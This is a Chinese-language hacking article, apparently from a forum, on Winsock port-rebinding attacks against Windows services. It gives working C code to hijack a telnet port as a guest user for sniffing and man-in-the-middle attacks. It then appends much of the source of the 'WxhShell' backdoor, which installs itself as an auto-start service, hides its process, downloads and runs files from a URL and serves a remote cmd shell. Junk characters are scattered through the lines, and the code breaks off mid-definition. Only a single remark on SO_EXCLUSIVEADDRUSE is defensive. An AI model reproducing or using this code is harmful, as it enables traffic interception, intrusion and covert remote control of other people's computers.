在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
*Y`c.n" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
B>UF dj]- L+D 9ZE] saddr.sin_family = AF_INET;
3L^]J}| @/W~lJ!e saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>m+Fm= Z/G?wD|B bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
D^)?*( @(W{_ mw 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>e"vPW*[ `M[o.t 这意味着什么?意味着可以进行如下的攻击:
y
Q-{
CJ, rsn^YC 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
LTw.w:"J d;hv_h 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
s2`Qh9R
-*[:3% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_lMSW6 i_f\dkol 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!hjA Ox%p"xuP, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
oM(8'{S= /i)>|U
4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
N~|Z@pU" CmxQb,Ul s 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
m[DCA\Mo@ 9>k_z&< #include
4l'`q+^- #include
*2>kic
aH #include
W9!K~g_ #include
} /*U~!t DWORD WINAPI ClientThread(LPVOID lpParam);
VRB!u420 int main()
K_ Od u^ {
v3b+Ddp WORD wVersionRequested;
DH Qs_8Df DWORD ret;
<O0.q. WSADATA wsaData;
I=2b)"t0 BOOL val;
3|(<]@
$ SOCKADDR_IN saddr;
#HTq\J! SOCKADDR_IN scaddr;
YY4q99^K int err;
-dS@l'$ SOCKET s;
}D[j6+E SOCKET sc;
p(!d,YSE int caddsize;
=K<`nF0w HANDLE mt;
3I G<Ot9 DWORD tid;
"A]#KTP wVersionRequested = MAKEWORD( 2, 2 );
1) Nj.#) err = WSAStartup( wVersionRequested, &wsaData );
#QNa|
f#= if ( err != 0 ) {
y.$Ae1a= printf("error!WSAStartup failed!\n");
8/k"A-m return -1;
gC+?5_=< }
C7FxV2 saddr.sin_family = AF_INET;
ha?M[Vyw4Q dJ{q}U //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
iAo/Dnp2J ]j0/.pG saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$38)_{ saddr.sin_port = htons(23);
N/78Ub if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k~*%Z!V}C {
m "96%sB printf("error!socket failed!\n");
Rga
*68s|& return -1;
Y_<-.?jf }
G8&/Ic val = TRUE;
g'AxJ //SO_REUSEADDR选项就是可以实现端口重绑定的
ly#jl5wmT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
I-^C6~ {
$!$,cKPl5 printf("error!setsockopt failed!\n");
MML=J~1 return -1;
%-woaj }
Wv||9[Rd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&y&HxV //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
r+k g$+%b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[\qclW;L sa TS8p z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
^yX >^1 {
c~+KrWbZ~ ret=GetLastError();
)=VAEQhL- printf("error!bind failed!\n");
Ab6R ?mUM return -1;
2ZEDyQM }
i1ScXKO listen(s,2);
[1nUq!uTm while(1)
GOOm] ]I {
{y'4&vt<~ caddsize = sizeof(scaddr);
ey6ujV7! //接受连接请求
[RF 6mWQ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
~jzjJ&O&
if(sc!=INVALID_SOCKET)
!t+ 3DMPn {
4]#$YehM5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Lg~ll$
U if(mt==NULL)
G6dUm_iB {
m}7Nu printf("Thread Creat Failed!\n");
cn Ohj break;
/0o#V-E) }
OA^6l# }
XZ@|(_Z CloseHandle(mt);
*M/:W =,t }
/;kSa}"Q closesocket(s);
)<lQJ#L86a WSACleanup();
bct8~dY return 0;
~1{ppc+
}
p-r[M5;-^Q DWORD WINAPI ClientThread(LPVOID lpParam)
3m| C8: {
THARr#1b}; SOCKET ss = (SOCKET)lpParam;
VeSQq SOCKET sc;
'50}QY_R. unsigned char buf[4096];
,q;?zcC7 SOCKADDR_IN saddr;
I1Otu~%d long num;
yfal'DqKF DWORD val;
*E]:VZl
DWORD ret;
SsPZva //如果是隐藏端口应用的话,可以在此处加一些判断
9F[_xe@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
[X91nUz# saddr.sin_family = AF_INET;
_N=f&~T saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Nv^byWqu saddr.sin_port = htons(23);
Ra"hdxH if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5YneoM]Q {
>7PNl\=gG printf("error!socket failed!\n");
PW82
Vp. return -1;
Au6Y] }
!6x7^E;c val = 100;
&B]1 VZUp if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9VanR
::XX {
:yRv:`r3Lt ret = GetLastError();
2$ &B@\WY return -1;
QIg'js$W }
3=yfbO<- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ITg<u?z_ {
~GcWG4 ret = GetLastError();
Cv}^]_`Q return -1;
NWP!V@WG }
a{@}vZx>3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
050,S`%<g8 {
tHAe printf("error!socket connect failed!\n");
L^r & .N\ closesocket(sc);
}8POm# closesocket(ss);
NJ]3qH return -1;
R8_I ASs }
i(_A;TT6 while(1)
8NiR3*1 {
E7M_R/7@y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
>,E^ R `y //如果是嗅探内容的话,可以再此处进行内容分析和记录
*\(z"B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
* k<@ num = recv(ss,buf,4096,0);
{0j_.XZ if(num>0)
AL.psw-Il send(sc,buf,num,0);
!=A;?Kdq else if(num==0)
J/O{x break;
+<j7^AEG num = recv(sc,buf,4096,0);
WN<g _8QR if(num>0)
U2l3E*O send(ss,buf,num,0);
wYg!H>5 else if(num==0)
6JDaZh"=K break;
'&'m#H*: }
9}u,`& closesocket(ss);
|q58XwU ` closesocket(sc);
/isalOT return 0 ;
xDGS`o_w_ }
Fs].Fa 6pSi-FH N0.|Mb"?t ==========================================================
b>Y{,`E3 R(`:~@3\6 下边附上一个代码,,WXhSHELL
!?(7g2NP) tAF?.\x"g ==========================================================
7@
) OQ7 `n<I<) #include "stdafx.h"
.w;kB}$YC pF4Z4?W #include <stdio.h>
u8]FJQ*\6+ #include <string.h>
__2<v?\ #include <windows.h>
==& y9e #include <winsock2.h>
Qr9;CVW #include <winsvc.h>
?oFd%|I #include <urlmon.h>
fT|A^ ,/D}a3JD #pragma comment (lib, "Ws2_32.lib")
xC,x_:R` #pragma comment (lib, "urlmon.lib")
xEp?|Q$ Vv45w#w; #define MAX_USER 100 // 最大客户端连接数
!t^DN\\# #define BUF_SOCK 200 // sock buffer
e=WjFnK[x7 #define KEY_BUFF 255 // 输入 buffer
FO5a<6 C+llA #define REBOOT 0 // 重启
}Nsdk',} #define SHUTDOWN 1 // 关机
sl `jovT[Y p,goYF?? #define DEF_PORT 5000 // 监听端口
>
[J. 8 {V9)U #define REG_LEN 16 // 注册表键长度
dF\#:[B #define SVC_LEN 80 // NT服务名长度
V`1,s~"q d<6F'F^w.7 // 从dll定义API
1^4:l!0D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
PDuc;RG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
@kqxN\DE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
@Fb1D"! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+yp:douERi <;6{R#Tuh // wxhshell配置信息
@ M]_], struct WSCFG {
"FWx;65CR int ws_port; // 监听端口
Y @p<f5[c char ws_passstr[REG_LEN]; // 口令
RqtBz3v int ws_autoins; // 安装标记, 1=yes 0=no
l! F$V;R char ws_regname[REG_LEN]; // 注册表键名
BVw2skOT char ws_svcname[REG_LEN]; // 服务名
&ASR2J char ws_svcdisp[SVC_LEN]; // 服务显示名
ujZ`T0 char ws_svcdesc[SVC_LEN]; // 服务描述信息
#cu{AdK char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_cX}!d!j int ws_downexe; // 下载执行标记, 1=yes 0=no
z*EV>Y[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
y:W6;R char ws_filenam[SVC_LEN]; // 下载后保存的文件名
V0=%$tH ];OvV ,* };
gvA}s/ Dz(\ ? // default Wxhshell configuration
S^eem_C struct WSCFG wscfg={DEF_PORT,
5e/YEDP "xuhuanlingzhe",
x,!Dd 1,
.9rYBy "Wxhshell",
sD:o
2(G* "Wxhshell",
?vFy3 "WxhShell Service",
Lwr's'ao. "Wrsky Windows CmdShell Service",
U`%t&7) "Please Input Your Password: ",
LE\=Y;% 1,
->8Kd1^F "
http://www.wrsky.com/wxhshell.exe",
"XR=P>
xk "Wxhshell.exe"
wlT8| };
STp9Gh- L~Gr,i // 消息定义模块
vR!+ 8sy$ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
r3l1I} char *msg_ws_prompt="\n\r? for help\n\r#>";
K*SgEkb'l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
USVDDqZ char *msg_ws_ext="\n\rExit.";
1f`De`zXzr char *msg_ws_end="\n\rQuit.";
v;x0=I&% char *msg_ws_boot="\n\rReboot...";
m2c'r3 UEu char *msg_ws_poff="\n\rShutdown...";
BDB*>y7( char *msg_ws_down="\n\rSave to ";
;=Ma+d# *an Ng<@ char *msg_ws_err="\n\rErr!";
>fH0>W+! char *msg_ws_ok="\n\rOK!";
Vr1}Zv3K'
/MGapmqV9 char ExeFile[MAX_PATH];
]JrD@ Vy int nUser = 0;
~U0%}Bbh HANDLE handles[MAX_USER];
|O{N_-];. int OsIsNt;
&-3e3) eDJnzh83 SERVICE_STATUS serviceStatus;
X0G,tl SERVICE_STATUS_HANDLE hServiceStatusHandle;
;6W ]f([ &h-_|N // 函数声明
VJ~D.ec int Install(void);
2:*15RH3 int Uninstall(void);
m,k0 h% int DownloadFile(char *sURL, SOCKET wsh);
r5}p . int Boot(int flag);
ipu!{kJ void HideProc(void);
S&_03 int GetOsVer(void);
42NfD/"g+s int Wxhshell(SOCKET wsl);
L ;L: void TalkWithClient(void *cs);
--K)7 int CmdShell(SOCKET sock);
!l (Vk int StartFromService(void);
V eGSr int StartWxhshell(LPSTR lpCmdLine);
(?jK|_ 9>)b6)J D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^kKLi VOID WINAPI NTServiceHandler( DWORD fdwControl );
)9YDNVo*- ZnEgU}g<2 // 数据结构和表定义
jHFjd' SERVICE_TABLE_ENTRY DispatchTable[] =
0D(8-H {
Lce,]z\_ {wscfg.ws_svcname, NTServiceMain},
g\q . {NULL, NULL}
AY AU };
\@gV$+{9 A{+/$7vek // 自我安装
UP-eKK'z int Install(void)
kE&R;T`Gb% {
ZISIW! char svExeFile[MAX_PATH];
T:za},- HKEY key;
'Z{`P0/^o` strcpy(svExeFile,ExeFile);
kL'4m ~H}Z;n]H // 如果是win9x系统,修改注册表设为自启动
T
lXS}5^ if(!OsIsNt) {
C4mkt2Eb0a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yu;EL>G_AY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[V'c RegCloseKey(key);
2(eO5.FYF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
JtFq/&{i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y&6jFT_ RegCloseKey(key);
1)X|?ZD]F return 0;
7{#p'.nc5 }
$--8%gh dG }
q8{Bx03m6 }
imM!Me 0TE else {
Z",0 $Gxu 1=5"j]0hY // 如果是NT以上系统,安装为系统服务
+^AdD8U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
opfnIkCe if (schSCManager!=0)
/TMVPnvz. {
F5*-HR SC_HANDLE schService = CreateService
]46h!@~aC (
bpY*;o$~ schSCManager,
] &8em1 wscfg.ws_svcname,
b] 5dBZ( wscfg.ws_svcdisp,
{"p ~M7 SERVICE_ALL_ACCESS,
lQIg0G/3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
;]LQ}^MP( SERVICE_AUTO_START,
$bE"3/uf SERVICE_ERROR_NORMAL,
>WZ.Dj0n svExeFile,
F 'uqL+jVO NULL,
y" =?l NULL,
4@{;z4*` NULL,
=[n !3M+X NULL,
#wyceEa NULL
h4n~V:nNm );
AROHe if (schService!=0)
C. .| O {
L1kn="5 CloseServiceHandle(schService);
ie1~QQ CloseServiceHandle(schSCManager);
WI1YP0V strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
]9QXQH strcat(svExeFile,wscfg.ws_svcname);
;6V~yB if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
%w&+o.k/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
@1j*\gYz RegCloseKey(key);
q,[;AHb return 0;
}R*%q }
.U{}N%S }
3Dr\ O_`u CloseServiceHandle(schSCManager);
YIN* '!N }
#?Ix6 {R }
y>C
!cYB Y~Uf2(7b5 return 1;
/
B!j`UK }
$?ss5:
S ?8753{wk // 自我卸载
~=yU%5 s@ int Uninstall(void)
}oD^tU IK {
f#c}}>V8 HKEY key;
6GuTd @.L#u#
if(!OsIsNt) {
^C
K!=oO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|21VOPBS RegDeleteValue(key,wscfg.ws_regname);
2z;nPup, RegCloseKey(key);
_#~D{91
j: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
OI Fjc0 RegDeleteValue(key,wscfg.ws_regname);
HDhkg-QC RegCloseKey(key);
PVi;h%>Y return 0;
` 0@m, }
3X Y"s" }
3=wcA/"! }
EwBrOq`C else {
F*G]Na@6D :"y2u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
h7eb/xEto if (schSCManager!=0)
bM'F8Fi {
+184|nJ<2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
$\m:}\%p if (schService!=0)
h8WM4
PK {
LTf)`SN %' if(DeleteService(schService)!=0) {
<mJ8~ CloseServiceHandle(schService);
0=+feB1T CloseServiceHandle(schSCManager);
b|V<Kp return 0;
&am<_Tn*3 }
Q0-gU+ig CloseServiceHandle(schService);
U^}7DJ }
z}SJ~WY'[ CloseServiceHandle(schSCManager);
k/F#-},Q. }
R.1.LB }
sC"w{_D@*4 6# bTlmcg return 1;
x'-gvbj! }
;~1xhpTk LmY[{.'tX // 从指定url下载文件
Swf%WuDj int DownloadFile(char *sURL, SOCKET wsh)
(<.\v@7HC {
8yIBx%"4MH HRESULT hr;
W2`3PEa char seps[]= "/";
fNda& char *token;
Ro{xprE1 char *file;
O\!'Ds+gX char myURL[MAX_PATH];
3K||( char myFILE[MAX_PATH];
;pL!cG@ %V1j M strcpy(myURL,sURL);
N~b0 b;e token=strtok(myURL,seps);
{.U:Ce while(token!=NULL)
IT#Li {
bR}fj.gP file=token;
`s69p'<;p token=strtok(NULL,seps);
k v_t6 (qd }
{^Q,G x( M:.+^.h GetCurrentDirectory(MAX_PATH,myFILE);
]*MVC/R, strcat(myFILE, "\\");
%O!xrA{ strcat(myFILE, file);
F7<u1Rx] send(wsh,myFILE,strlen(myFILE),0);
3;jxIo$, send(wsh,"...",3,0);
Z molL0y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
97HI9R if(hr==S_OK)
;wJe%Nw? return 0;
-~RGjx else
e2fv% return 1;
2WLLI8 nWc@ufY }
eKuF7Oo Sz|kXk6&9 // 系统电源模块
$[Ut])4
~ int Boot(int flag)
.p Mwa {
:W>PKW`^ HANDLE hToken;
J(8?6&=ck TOKEN_PRIVILEGES tkp;
2xUgM}e "3 ++S if(OsIsNt) {
GwA\>qXw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\HrtPm`e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
cBbumf 9C tkp.PrivilegeCount = 1;
r#oJch= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|Ch,C AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}Z\S__\9 if(flag==REBOOT) {
Z{t `f[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
o&M.9V?~~ return 0;
_PGd\>Ve }
W!"QtEJ, else {
V$FZVG/@# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
NB44GP1-@ return 0;
+BO kHXk1 }
-awG14% }
pyX:$j2R+% else {
B[h^] k if(flag==REBOOT) {
LN.*gGl if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
\N-3JO Vy return 0;
F+NX
[ }
U8gj\G\` else {
$y.0h( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
#Muh|P]%\ return 0;
3(t3r::& }
pUqNB_ }
g'w"U9tjO "1XTgCu\ return 1;
+84
p/B# }
} 7:T?
`V: j[mII5e7g // win9x进程隐藏模块
0Ntvd7"`} void HideProc(void)
l1`r%9gr {
^7i7yM}6( h{zb)'R HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
$;$vcV9* if ( hKernel != NULL )
jAcKSx$}y" {
Q`.q,T8I pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
r|]YS6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
WrRY3X FreeLibrary(hKernel);
.v}|Tp&k }
{jwLVKT$ x)N QRd return;
VR1[-OE
}
?F!c"+C &w`DF,k| // 获取操作系统版本
Q {~$7J int GetOsVer(void)
ZNDi;6e {
m]}U!XT OSVERSIONINFO winfo;
=vQ J2Rg winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
j+3rS GetVersionEx(&winfo);
?WqaT) l~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:x5O1Zn/t return 1;
]9_}S else
IC8%E3 return 0;
,~1sZ`C }
01&E.A 5}w // 客户端句柄模块
-I6t ^$HA int Wxhshell(SOCKET wsl)
Og@{6> {
OAiv3"p SOCKET wsh;
JKrS;J^97v struct sockaddr_in client;
~b
X~_\ DWORD myID;
.}Xf<G& G3]#Du while(nUser<MAX_USER)
Nmt~1.J {
%\|{_]h}y int nSize=sizeof(client);
QY<5o;m` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[dz3k@ >0 if(wsh==INVALID_SOCKET) return 1;
Rrl dS <*DP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
d+5~^\lV if(handles[nUser]==0)
8HZ+r/j closesocket(wsh);
:?y Ma$ else
+?Cy8Ev? nUser++;
>KdV]!H }
);q~TZ[Do WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#pK"
^O*! u^JsKG+,: return 0;
YHu]\'Ff }
lsOfpJ n{etDO // 关闭 socket
@^.W|Zh[& void CloseIt(SOCKET wsh)
zA.0Sm {
53a^9 closesocket(wsh);
T*=*$% nUser--;
nSBhz ExitThread(0);
&dK!+ }
6@8z3JW.A 79d(UG'O // 客户端请求句柄
XpE847!soL void TalkWithClient(void *cs)
WK7?~R%rq {
7OG:G z+)x g3{UP]Z71 SOCKET wsh=(SOCKET)cs;
5U+4vV/* char pwd[SVC_LEN];
O1t$]k: char cmd[KEY_BUFF];
+w?R4Sxjn char chr[1];
-TG ="U int i,j;
y@LiUe5 <LXx_{=: while (nUser < MAX_USER) {
W-&V:S{< 1 0c.#9$ if(wscfg.ws_passstr) {
p nI= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)78T+7Kq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0jjtx'F //ZeroMemory(pwd,KEY_BUFF);
%+Z*-iX i=0;
iI7ocyUv while(i<SVC_LEN) {
h4F%lGot 3/Z>W|w#w // 设置超时
BL_0@<1X fd_set FdRead;
/T(9:1/G struct timeval TimeOut;
> l0H)W FD_ZERO(&FdRead);
2u!&Te(!9 FD_SET(wsh,&FdRead);
$of2 lA TimeOut.tv_sec=8;
XM`
H@s7 TimeOut.tv_usec=0;
m9i/rK_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
qnj'*]ysBC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|rZMcl/ LfFXYX^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
oo7}Hg> pwd
=chr[0]; xY!ud)
if(chr[0]==0xd || chr[0]==0xa) { &TA{US3~
pwd=0; ]Zc|<f;
break; 650qG$
} S 593wfc
i++; g; ]'
} IVxZ.5:L$
Ur>1eN%9'
// 如果是非法用户,关闭 socket 2xX:Q'\2
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 73Jm
} fCJjFL:
#+AQ:+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q1?*+]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y*-_
lG94^|U
while(1) { A(
vdlj
N1Ag.
ZeroMemory(cmd,KEY_BUFF); ,%l}TSs
X~JP
1
// 自动支持客户端 telnet标准 ZcyGLg0I
j=0; 7>F{.\Z
while(j<KEY_BUFF) { (4A'$O2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $#u'XyA
cmd[j]=chr[0]; ,bdjk(
if(chr[0]==0xa || chr[0]==0xd) { 5h6o}
cmd[j]=0; )rG4Nga5}
break; PzNPwd
} Tsa]SN14
j++; Xw!\,"{s
} %%uE^nX>
Jut&J]{h
// 下载文件 u YT$$'S
if(strstr(cmd,"http://")) { ` K{k0_{
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }shxEsq
if(DownloadFile(cmd,wsh)) /kkUEo+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @CL#B98jl
else 1H/I-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'EAskA]*
} ^9q#,6
else { g;8 wP5i
_J W|3q
switch(cmd[0]) { 9iZio3m
B<m0YD?>~>
// 帮助 H%>4z3n
case '?': { u%)gnj_
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g)#{<#*2
break; qclc--fsE
} }>0>OqvF
// 安装 6xJffl
case 'i': { \?^2}K/
if(Install()) sEdz`F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vb6EO[e%I
else PKSfu++Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @3O)#r}\
break; `!HD.
E[2c
} SXOAa<u5
// 卸载 PLc5m5
case 'r': { ^1bslCe
if(Uninstall()) M }d:B)cz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M[YFyM(
else \BXzmok
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mSxn7LG
break; Ytlzn%
} 3$k#bC
// 显示 wxhshell 所在路径 e;6KxvX~
case 'p': { UDg's
char svExeFile[MAX_PATH]; UlE%\L0GD&
strcpy(svExeFile,"\n\r"); EaO@I.[
strcat(svExeFile,ExeFile); '|^:,@8P9
send(wsh,svExeFile,strlen(svExeFile),0); PWpt\g
break; p1Zb&:+
} GYaP"3Lu
// 重启 XTJD>
case 'b': { |0y#} |/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ns8s2kYcm
if(Boot(REBOOT)) x 6`!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }bjZeh.
else { FoyYWj?,R
closesocket(wsh); '{,xQf*x
ExitThread(0); cj8cV|8@
} m,E$KHt (
break; +JU, ^A#X
} Lqj
Qv$
// 关机 Fr8GGN~/
case 'd': { oY18a*_>M1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }p7iv:P=3
if(Boot(SHUTDOWN)) {q?&h'#y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bvn3:+(47
else { neDXzMxF
closesocket(wsh); kW g.-$pp
ExitThread(0); my.EvN
} C|$qVh>
break; 6gg8h>b
} $E\|\g
// 获取shell d!y*z
case 's': { <=q}
Nd\
CmdShell(wsh); ' [
4;QYw
closesocket(wsh); G21o@38e
ExitThread(0); yp.K-
break; `Z?wj@H1`
} ;<AcW.jx
// 退出 EiW|+@1
case 'x': { /fr> Fd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u]J@65~'b
CloseIt(wsh); *x"80UXL
break; ;Ba%aaHl
} LwH#|8F
// 离开 rVYoxXv
case 'q': { >1~
/:DJ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _/s"VYFZ
closesocket(wsh); i6`"e[aT[o
WSACleanup(); @p+;iS1}
exit(1); %iN>4;T8
break; Z4j6z>q E
} ,BU;i%G&s
} 7~/ cz_
} %z><)7
iQwQ5m!d &
// 提示信息 yGZsNd {a&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S(Yd.Sp
} \c=I!<9
} {*ak>Wud
$cCC
1=dW
return; V#t_gS
} T #\
"ZuuSi
// shell模块句柄 &XP(D5lf`B
int CmdShell(SOCKET sock) 7RAB"T;?Q
{ d8j1L/e
STARTUPINFO si; P#,u9EIJ
ZeroMemory(&si,sizeof(si)); =!O->C:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #o.e
(C
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >ZgzE
PROCESS_INFORMATION ProcessInfo; z$32rt8{`v
char cmdline[]="cmd"; k_al*iM>H
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >qjV{M
return 0; }]?Si6_ZZ
} 1 DWoL}Z
157_0
// 自身启动模式 \N>-+r
int StartFromService(void) wl
Oeoi
{ tli.g
typedef struct )ZJvx%@i
{ &SY!qTxF
DWORD ExitStatus;
l] nt@0+
DWORD PebBaseAddress; _FLEz|%~
DWORD AffinityMask; ^.SYAwL
DWORD BasePriority; C_.9qo]DT7
ULONG UniqueProcessId; \oQ]=dDCd%
ULONG InheritedFromUniqueProcessId; DDg\oGLp
